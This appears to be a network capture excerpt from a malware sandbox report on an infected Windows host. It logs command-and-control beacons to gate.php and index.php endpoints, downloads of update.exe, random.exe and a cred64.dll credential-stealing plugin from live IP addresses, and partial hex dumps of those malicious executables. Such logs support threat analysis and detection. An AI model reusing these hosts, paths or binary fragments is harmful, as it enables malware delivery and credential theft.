Dec 14, 2024 14:57:10.634428024 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 13 Dec 2024 12:55:28 GMT ETag: "4b800-629265862d035" Accept-Ranges: bytes Content-Length: 309248 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 6c 27 8a 34 3f 27 8a 34 3f 27 8a 34 3f 2e f2 a7 3f 24 8a 34 3f 27 8a 35 3f 2e 8a 34 3f 48 fc 9f 3f 2d 8a 34 3f 48 fc ae 3f 26 8a 34 3f 48 fc a9 3f 26 8a 34 3f 52 69 63 68 27 8a 34 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 bb 2e 5c 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 38 00 00 00 34 00 00 00 00 00 00 f8 33 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$cZl'4?'4?'4?.?$4?'5?.4?H?-4?H?&4?H?&4?Rich'4?PEd.\g"843@@`r((LPP.text78 `.rdata#P$<@@.data@.pdataL`@@.rsrc(d@@.x64PPh
Dec 14, 2024 14:57:10.634469032 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 54 24 10 48 89 4c 24 08 48 83 ec 18 48 8b 44 24 20 48 89 44 Data Ascii: T$HL$HHD$ HD$HD$=MZt3VHD$Hc@<HL$ HHH$HD$ H9$s3/D$(HL$ HH9$v3H$8PEt3H$HHL$H8HIj?HsI
Dec 14, 2024 14:57:10.634510994 CET	1236	IN	Data Raw: 00 00 48 8b c8 ff 15 52 3f 00 00 48 89 44 24 20 48 83 7c 24 20 00 74 0b 48 8b 4c 24 40 ff 54 24 20 eb 02 33 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 81 ec b8 00 00 00 44 8b 84 24 d0 00 00 00 Data Ascii: HR?HD$ H\|$ tHL$@T$ 3H8DD$T$HL$HD$3:&?H$H$uH$D$h\|$huz$H$H$H$uIH$@=Lu\|$h uH$
Dec 14, 2024 14:57:10.634548903 CET	1236	IN	Data Raw: 55 45 00 00 48 89 05 ce 6a 00 00 48 8d 05 d7 45 00 00 48 89 05 b0 6a 00 00 48 8d 05 31 45 00 00 48 89 05 9a 6a 00 00 48 8d 05 5f 46 00 00 48 89 05 b4 6a 00 00 48 c7 44 24 28 00 00 00 00 48 8d 15 54 46 00 00 48 8d 0d 5d 46 00 00 e8 d4 fe ff ff 48 Data Ascii: UEHjHEHjH1EHjH_FHjHD$(HTFH]FHjHZFHcFHjH`FHaFHjHZFH_FHjHXFH]FHjHZFH[FHwjHTFHYFHej
Dec 14, 2024 14:57:10.634584904 CET	1236	IN	Data Raw: 47 00 00 48 8d 0d c3 47 00 00 e8 92 fa ff ff 48 89 05 2f 69 00 00 48 8d 15 c0 47 00 00 48 8d 0d c9 47 00 00 e8 78 fa ff ff 48 89 05 1d 69 00 00 48 8d 15 c6 47 00 00 48 8d 0d d7 47 00 00 e8 5e fa ff ff 48 89 05 0b 69 00 00 48 8d 15 d4 47 00 00 48 Data Ascii: GHGH/iHGHGxHiHGHG^HiHGHGDHhHGHG*HhHGHGHhHGHGHhHGHHHhHHHHHgHHH!H
Dec 14, 2024 14:57:10.634618998 CET	1236	IN	Data Raw: ff 48 89 05 a1 62 00 00 48 8d 15 72 49 00 00 48 8d 0d 83 49 00 00 e8 b2 f5 ff ff 48 89 05 8f 62 00 00 48 8d 15 80 49 00 00 48 8d 0d 91 49 00 00 e8 98 f5 ff ff 48 89 05 7d 62 00 00 48 8d 15 8e 49 00 00 48 8d 0d 9f 49 00 00 e8 7e f5 ff ff 48 89 05 Data Ascii: HbHrIHIHbHIHIH}bHIHI~HkbHIHIdHYbHIHIJHGbHIHI0H5bHIHIH#bHIHIHIaHIHIHaH
Dec 14, 2024 14:57:10.634656906 CET	1236	IN	Data Raw: 4c 24 48 89 08 48 8b 4c 24 38 ff 15 e5 5d 00 00 48 8b 4c 24 50 ff 15 da 5d 00 00 48 8b 44 24 58 48 83 c4 78 c3 44 88 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 28 44 8b 44 24 38 48 8b 54 24 30 48 8d 0d 45 48 00 00 ff 15 bf 5e 00 00 b0 01 48 83 Data Ascii: L$HHL$8]HL$P]HD$XHxDD$T$HL$H(DD$8HT$0HEH^H(DD$T$HL$H(DD$8HT$0HUH^H(DD$T$HL$H(DD$8HT$0HeH?^H(L$WH
Dec 14, 2024 14:57:10.634742975 CET	1236	IN	Data Raw: 44 8b c0 48 8b 94 24 10 01 00 00 48 8b 8c 24 20 01 00 00 ff 15 40 5a 00 00 48 89 84 24 60 03 00 00 48 83 bc 24 60 03 00 00 00 75 18 41 b8 00 80 00 00 33 d2 48 8b 4c 24 60 ff 15 72 58 00 00 e9 f2 04 00 00 48 8b 84 24 f0 00 00 00 8b 40 54 48 c7 44 Data Ascii: DH$H$ @ZH$`H$`uA3HL$`rXH$@THD$ DLD$`H$H$ YuA3HL$`$X$P$P$PH$@9$PHD$pHc@<HL$`HHHc$PHk(HH
Dec 14, 2024 14:57:10.634856939 CET	1236	IN	Data Raw: 00 48 8b 8c 24 28 01 00 00 ff 15 66 55 00 00 85 c0 75 15 41 b8 00 80 00 00 33 d2 48 8b 4c 24 60 ff 15 b7 53 00 00 eb 3a 48 8b 8c 24 28 01 00 00 ff 15 37 55 00 00 85 c0 75 15 41 b8 00 80 00 00 33 d2 48 8b 4c 24 60 ff 15 90 53 00 00 eb 13 41 b8 00 Data Ascii: H$(fUuA3HL$`S:H$(7UuA3HL$`SA3HL$`{SH_H8Hm?HD$ LD$ 33)UHD$(H\|$(uHL$(UHL$(RBT=uHL$(THL$(RHL$(THL$(o
Dec 14, 2024 14:57:10.634890079 CET	1236	IN	Data Raw: 4e 00 00 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 81 ec 48 02 00 00 48 8d 4c 24 30 e8 c7 05 00 00 4c 8d 05 94 51 00 00 48 8d 15 1d 3c 00 00 48 8d 4c 24 30 e8 4f 12 00 00 48 89 05 80 51 00 00 8b 05 76 51 00 00 41 b0 aa Data Ascii: NH8HHHL$0LQH<HL$0OHQvQAHnQ1H=aQtDMQHJQHD$(D$ E3Lz33PPHHHL$H(33H(HL$H(}3H(
Dec 14, 2024 14:57:10.634943008 CET	1236	IN	Data Raw: 00 00 00 66 89 84 24 62 02 00 00 b8 5c 00 00 00 66 89 84 24 64 02 00 00 33 c0 66 89 84 24 66 02 00 00 c7 44 24 38 00 00 00 00 48 c7 44 24 30 00 00 00 00 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 4c 8d 8c 24 70 02 00 00 45 33 c0 33 d2 Data Ascii: f$b\f$d3f$fD$8HD$0HD$(HD$ L$pE33H$`ELH$pD$@H$pfD$DH$pfD$F$t$t$t$t}H$pHc$tDHD$FL$JL$ DDD$@H*7
Dec 14, 2024 14:57:14.280333996 CET	184	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 32 Cache-Control: no-cache Data Raw: 65 32 3d 31 30 30 30 30 38 35 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e2=10000850101&unit=246122658369
Dec 14, 2024 14:57:14.757339001 CET	201	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e Data Ascii: <c>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50034	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:04.916269064 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:05.040191889 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:06.360342979 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50038	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:06.585607052 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:06.705753088 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:08.027858973 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50044	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:08.260438919 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:08.381654978 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:09.960872889 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50057	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:10.038820028 CET	49	OUT	GET /update.exe HTTP/1.1 Host: 185.81.68.147
Dec 14, 2024 14:57:11.266777992 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 13 Dec 2024 12:55:28 GMT ETag: "4b800-629265862d035" Accept-Ranges: bytes Content-Length: 309248 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 eb 5a 6c 27 8a 34 3f 27 8a 34 3f 27 8a 34 3f 2e f2 a7 3f 24 8a 34 3f 27 8a 35 3f 2e 8a 34 3f 48 fc 9f 3f 2d 8a 34 3f 48 fc ae 3f 26 8a 34 3f 48 fc a9 3f 26 8a 34 3f 52 69 63 68 27 8a 34 3f 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 bb 2e 5c 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 38 00 00 00 34 00 00 00 00 00 00 f8 33 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$cZl'4?'4?'4?.?$4?'5?.4?H?-4?H?&4?H?&4?Rich'4?PEd.\g"843@@`r((LPP.text78 `.rdata#P$<@@.data@.pdataL`@@.rsrc(d@@.x64PPh
Dec 14, 2024 14:57:11.266812086 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 54 24 10 48 89 4c 24 08 48 83 ec 18 48 8b 44 24 20 48 89 44 Data Ascii: T$HL$HHD$ HD$HD$=MZt3VHD$Hc@<HL$ HHH$HD$ H9$s3/D$(HL$ HH9$v3H$8PEt3H$HHL$H8HIj?HsI
Dec 14, 2024 14:57:11.266980886 CET	1236	IN	Data Raw: 00 00 48 8b c8 ff 15 52 3f 00 00 48 89 44 24 20 48 83 7c 24 20 00 74 0b 48 8b 4c 24 40 ff 54 24 20 eb 02 33 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 81 ec b8 00 00 00 44 8b 84 24 d0 00 00 00 Data Ascii: HR?HD$ H\|$ tHL$@T$ 3H8DD$T$HL$HD$3:&?H$H$uH$D$h\|$huz$H$H$H$uIH$@=Lu\|$h uH$
Dec 14, 2024 14:57:11.267009974 CET	224	IN	Data Raw: 55 45 00 00 48 89 05 ce 6a 00 00 48 8d 05 d7 45 00 00 48 89 05 b0 6a 00 00 48 8d 05 31 45 00 00 48 89 05 9a 6a 00 00 48 8d 05 5f 46 00 00 48 89 05 b4 6a 00 00 48 c7 44 24 28 00 00 00 00 48 8d 15 54 46 00 00 48 8d 0d 5d 46 00 00 e8 d4 fe ff ff 48 Data Ascii: UEHjHEHjH1EHjH_FHjHD$(HTFH]FHjHZFHcFHjH`FHaFHjHZFH_FHjHXFH]FHjHZFH[FHwjHTF
Dec 14, 2024 14:57:11.267064095 CET	1236	IN	Data Raw: 00 48 8d 0d 59 46 00 00 e8 88 fe ff ff 48 89 05 65 6a 00 00 48 8d 15 52 46 00 00 48 8d 0d 57 46 00 00 e8 6e fe ff ff 48 89 05 53 6a 00 00 48 8d 15 54 46 00 00 48 8d 0d 55 46 00 00 e8 54 fe ff ff 48 89 05 41 6a 00 00 48 8d 15 4e 46 00 00 48 8d 0d Data Ascii: HYFHejHRFHWFnHSjHTFHUFTHAjHNFHSF:H/jHLFHQF H5iHNFH_FHlH\FHmFHlHjFHsFHlHpFHFhHlH~FHF
Dec 14, 2024 14:57:11.267096996 CET	1236	IN	Data Raw: 89 05 af 67 00 00 48 8d 15 10 48 00 00 48 8d 0d 21 48 00 00 e8 a8 f9 ff ff 48 89 05 9d 67 00 00 48 8d 15 1e 48 00 00 48 8d 0d 27 48 00 00 e8 8e f9 ff ff 48 89 05 43 67 00 00 48 8d 15 24 48 00 00 48 8d 0d 2d 48 00 00 e8 74 f9 ff ff 48 89 05 71 65 Data Ascii: gHHH!HHgHHH'HHCgH$HH-HtHqeH*HH;HZHgH8HHIH@HgHFHHWH&HfHTHHeHHfHbHHkHHeHhHHyHHcH
Dec 14, 2024 14:57:11.267132044 CET	1236	IN	Data Raw: 8d 0d d3 49 00 00 e8 e2 f4 ff ff 48 89 05 f7 61 00 00 48 8d 15 d0 49 00 00 48 8d 0d d9 49 00 00 e8 c8 f4 ff ff 48 89 05 e5 61 00 00 48 8d 15 d6 49 00 00 48 8d 0d df 49 00 00 e8 ae f4 ff ff 48 89 05 d3 61 00 00 48 8d 15 dc 49 00 00 48 8d 0d ed 49 Data Ascii: IHaHIHIHaHIHIHaHIHIHaHIHIzHaHIHJ`HaHJHJHScHJHJHAcHJHJHaHJH!J
Dec 14, 2024 14:57:11.267184019 CET	1236	IN	Data Raw: cc cc cc cc cc 89 4c 24 08 57 48 81 ec a0 0a 00 00 c7 84 24 80 00 00 00 00 00 00 00 48 8d 84 24 88 00 00 00 48 8b f8 33 c0 b9 60 00 00 00 f3 aa 48 c7 84 24 20 01 00 00 00 00 00 00 48 8d 84 24 28 01 00 00 48 8b f8 33 c0 b9 10 00 00 00 f3 aa 33 c0 Data Ascii: L$WH$H$H3`H$ H$(H33f$@AH$@3\$X$Xu3f$@H$BH3$$$$t$t*$t>ZE3H$@V$
Dec 14, 2024 14:57:11.267219067 CET	1236	IN	Data Raw: 50 0a 00 00 48 6b c9 28 48 8d 84 08 08 01 00 00 48 89 84 24 08 01 00 00 48 8b 84 24 08 01 00 00 8b 40 10 48 8b 8c 24 08 01 00 00 8b 49 14 48 8b 54 24 60 48 03 d1 48 8b ca 48 8b 94 24 08 01 00 00 8b 52 0c 48 8b bc 24 60 03 00 00 48 03 fa 48 8b d7 Data Ascii: PHk(HH$H$@H$IHT$`HHH$RH$`HHHD$ DLH$ XuA3HL$`KW/HD$XH$H@0H$H+HHD$XH$H$HH0$T$T$TH$
Dec 14, 2024 14:57:11.267251968 CET	1236	IN	Data Raw: 48 8b 4c 24 28 ff 15 c2 54 00 00 48 8b 4c 24 28 ff 15 6f 52 00 00 33 c0 48 83 c4 38 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 38 4c 8b 44 24 40 33 d2 33 c9 ff 15 90 54 00 00 48 89 44 24 20 48 83 7c 24 20 00 75 1d Data Ascii: HL$(THL$(oR3H8HL$H8LD$@33THD$ H\|$ uHL$ pTHL$ RBPT=uHL$ FTHL$ QHL$ )THL$ Q3H8HL$HXH$@D$ HVTH
Dec 14, 2024 14:57:11.393415928 CET	1236	IN	Data Raw: ec 28 b9 03 00 00 00 e8 7d f1 ff ff 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 28 b9 01 00 00 00 e8 5d f1 ff ff 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc 40 57 48 81 ec 40 01 00 00 48 8d 44 24 20 48 8b f8 33 c0 b9 1c 01 00 00 f3 Data Ascii: (}3H(HL$H(]3H(@WH@HD$ H3D$ HL$ t+\|$$r\|$$u\|$(s\|$$u\|$(u2H@_Hx8t3pOcD$0T$0HL$@MH:HL$@l
Dec 14, 2024 14:57:14.259561062 CET	66	OUT	GET /7vhfjke3/Plugins/cred64.dll HTTP/1.1 Host: 185.81.68.147
Dec 14, 2024 14:57:14.703715086 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 12 Dec 2024 18:53:38 GMT ETag: "138c00-629173b693080" Accept-Ranges: bytes Content-Length: 1281024 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 86 e5 c9 44 c2 84 a7 17 c2 84 a7 17 c2 84 a7 17 d6 ef a3 16 d6 84 a7 17 d6 ef a4 16 d2 84 a7 17 d6 ef a2 16 73 84 a7 17 90 f1 a2 16 86 84 a7 17 90 f1 a3 16 cd 84 a7 17 90 f1 a4 16 c8 84 a7 17 d6 ef a6 16 cf 84 a7 17 c2 84 a6 17 01 84 a7 17 0e f1 ae 16 c6 84 a7 17 0e f1 a7 16 c3 84 a7 17 0e f1 58 17 c3 84 a7 17 0e f1 a5 16 c3 84 a7 17 52 69 63 68 c2 84 a7 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 82 96 5a 67 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 1d 00 c8 0f 00 00 38 04 00 00 00 00 00 c4 fa 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$DsXRichPEdZg" 8P`~X~ `0lpp8.text `.rdata@@.dataD@.pdata`@@_RDATAt@@.rsrc v@@.relocl0x@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50058	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:10.635720015 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:10.755851984 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:13.398267031 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50064	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:11.286648035 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 35 32 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015205001&unit=246122658369
Dec 14, 2024 14:57:12.597445011 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50080	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:12.888802052 CET	61	OUT	GET /files/encoxx/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:57:14.224376917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:14 GMT Content-Type: application/octet-stream Content-Length: 393728 Last-Modified: Thu, 12 Dec 2024 07:55:00 GMT Connection: keep-alive ETag: "675a96d4-60200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'FFFFFFFFFFFFRichFPELfebQ@$8gd0:-@.textab `.data`f@.rsrcz0<@@
Dec 14, 2024 14:57:14.224471092 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 6d 05 00 00 00 00 00 88 69 05 00 9c 69 05 00 b4 69 05 00 c8 69 05 00 e2 69 05 Data Ascii: miiiiijj*jDjXjnjjjjjjjjk k6kRkhkpikkkkkkkll(l>lRlblvlll
Dec 14, 2024 14:57:14.224504948 CET	1236	IN	Data Raw: 6c 05 00 bc 6c 05 00 cc 6c 05 00 e2 6c 05 00 f6 6c 05 00 78 6b 05 00 5c 69 05 00 90 71 05 00 80 6d 05 00 9c 6d 05 00 ba 6d 05 00 cc 6d 05 00 d8 6d 05 00 f0 6d 05 00 08 6e 05 00 1a 6e 05 00 2a 6e 05 00 38 6e 05 00 4a 6e 05 00 62 6e 05 00 76 6e 05 Data Ascii: lllllxk\iqmmmmmmnnn8nJnbnvnnnnnnnnnoo8oJoXodonoooooooopp&p2p<pHpZpppppppppqqq<q
Dec 14, 2024 14:57:14.224539995 CET	1236	IN	Data Raw: 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 0d 0a 00 00 52 36 30 33 30 0d 0a 2d 20 43 52 54 20 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 64 0d 0a 00 00 52 36 30 32 38 0d 0a 2d 20 75 6e Data Ascii: ndicates a bug in your application.R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializationR6026- not enough space for stdio initializationR6025- pure virtua
Dec 14, 2024 14:57:14.224600077 CET	1236	IN	Data Raw: 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b Data Ascii: *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~=EEE00P('8PW700PP (`h`hhhxppwppGetProcessWindowStationGetUserObjectInformationAGetL
